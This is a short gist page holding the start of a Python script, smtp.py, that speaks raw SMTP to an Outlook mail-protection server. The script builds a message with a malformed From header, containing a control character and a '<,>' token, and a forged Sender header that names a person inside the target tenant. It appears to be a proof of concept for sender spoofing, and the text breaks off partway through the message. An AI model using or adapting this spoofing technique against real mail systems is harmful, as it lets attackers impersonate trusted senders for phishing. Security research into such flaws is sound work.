Skip to content

Instantly share code, notes, and snippets.

@w1lsec
w1lsec / smtp.py
Created September 27, 2024 02:36
from socket import *
mail_server = ("tantotesting.mail.protection.outlook.com", 25)
client_socket = socket(AF_INET, SOCK_STREAM)
helo = "helo tantomail.com"
mail_from = "mail from: <testing@tantomail.com>"
rcpt_to = "rcpt to: <john.doe@tantotesting.onmicrosoft.com>"
mail = """from: \x1f <,><testing@tantomail.com>\r
sender: "James Bond" <james.bond@tantotesting.onmicrosoft.com>\r